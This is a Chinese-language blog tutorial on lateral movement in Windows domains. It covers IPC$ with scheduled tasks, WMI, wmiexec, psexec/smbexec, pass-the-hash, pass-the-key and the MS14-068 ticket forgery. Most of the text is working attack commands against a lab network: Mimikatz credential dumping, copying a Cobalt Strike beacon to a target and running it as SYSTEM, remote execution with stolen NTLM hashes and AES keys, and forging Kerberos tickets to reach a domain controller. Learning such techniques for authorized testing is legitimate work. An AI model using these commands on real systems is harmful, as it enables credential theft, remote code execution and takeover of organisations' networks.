内网横向

168 阅读4分钟

本文已参与「新人创作礼」活动.一起开启掘金创作之路。

一、IPC横向

IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,使用 139、445 端口。

1、利用条件

1、目标机开启了139445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户密码。

2、命令

建立IPC连接命令:
net use \192.168.189.193\ipc$ chiza2596@ /user:administrator
断开连接:
net use \192.168.189.193\ipc$ /del
查看连接是否建立:
net use

IPC连接+计划任务

1、建立IPC连接

net use \192.168.189.193\ipc$ chiza2596@ /user:administrator

2、复制文件到靶机

copy calc.bat \192.168.189.193\c$

3、查看靶机时间

net time \192.168.189.193

4、创建计划任务

schtasks /create /s 192.168.189.193 /tn test /sc onstart /tr C:/calc.bat /ru system /f

5、运行计划任务

schtasks /run /s 192.168.189.193 /tn test /i

6、运行之后成功创建了ipconfig.txt文件

IPC连接+计划任务上线CS

1、CS创建监听

2、复制木马到靶机

shell copy artifact.exe \192.168.189.193\c$

3、创建定时任务

shell schtasks /create /s 192.168.189.193 /tn test /sc onstart /tr C:\artifact.exe  /ru system /f

4、运行定时任务,运行完成成功上线CS

schtasks /run /s 192.168.189.193 /tn test /i

二、WMI 横向

WMI 全称 “windows 管理规范”,从 win2003 开始一直存在。它原本的作用是方便管理员对 windows 主机进行管理。因此在内网渗透中,我们可以使用 WMI 进行横向移动。

利用条件

1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。

1、wmic

wmic /node:192.168.189.193 /user:Administrator /password:chiza2596@ process call create "cmd.exe /c ipconfig >C:\ip.txt"

2、 wmic执行的命令没有回显,需要ipc$连接一下使用type查看结果

type \192.168.189.193\c$\ip.txt

2、wmiexec(不需要明文密码)

(1)、需要知道靶机的NTLM hash值

在靶机中利用Mimikatz获取 NTLM hash值

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"

(2)、获取到靶机的NTLM hash之后使用wmiexec进行横向

wmiexec.exe -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193

3、wmiexec.py

python wmiexec.py -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193

执行命令

python wmiexec.py -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193 "cmd.exe /c c:\artifact.exe"

三、smb 横向

利用 SMB 服务可以通过明文或 hash 传递来远程执行。

利用条件

1、445端口开放
2、知道账号密码

1、psexec

PsExec64.exe -i \192.168.189.193 -u administrator -p chiza2596@ cmd

2、smbexec.py

python smbexec.py -hashes :f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193

四、PTH - 哈希传递

PTH,即 Pass The Hash,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。

利用条件

1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问

2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

1、mimikatz-PTH

1、mimikatz privilege::debug
2、mimikatz sekurlsa::pth /user:administrator /domain:hacker.lab /ntlm:f1c65e065aae4e0b27424577c0cd192d
3、steal_token PID

五、PTK-密钥传递

1、Mimikatz-PTK

即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限

privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator  /domain:hacker.lab /aes256:4022c8db4c026872219b1f101fe0be4077c4a3196bb6a55c8028d7ba1281562e"
成功后返回一个cmd

六、票据传递(ms14-068)

利用条件

1、域控没有打MS14-068的补丁(KB3011780)
2、拿下一台加入域的计算机
3、有这台域内计算机的域用户密码和SID

利用过程

1、先清空当前机器的票据信息

mimikatz kerberos::list //列出当前票据
mimikatz kerberos::purge //清除票据

2、然后查看本机的SID

whoami /all

3、ms14-068生成tgt票据

ms14-068.exe -u win7@hacker.lab -p chiza2596! -s S-1-5-21-3448222900-495573751-2847398868-1105 -d DC.hacker.lab

4、导入票据

 mimikatz kerberos::ptc TGT_win7@hacker.lab.ccache

5、读取域控文件

shell dir \DC.hacker.lab\c$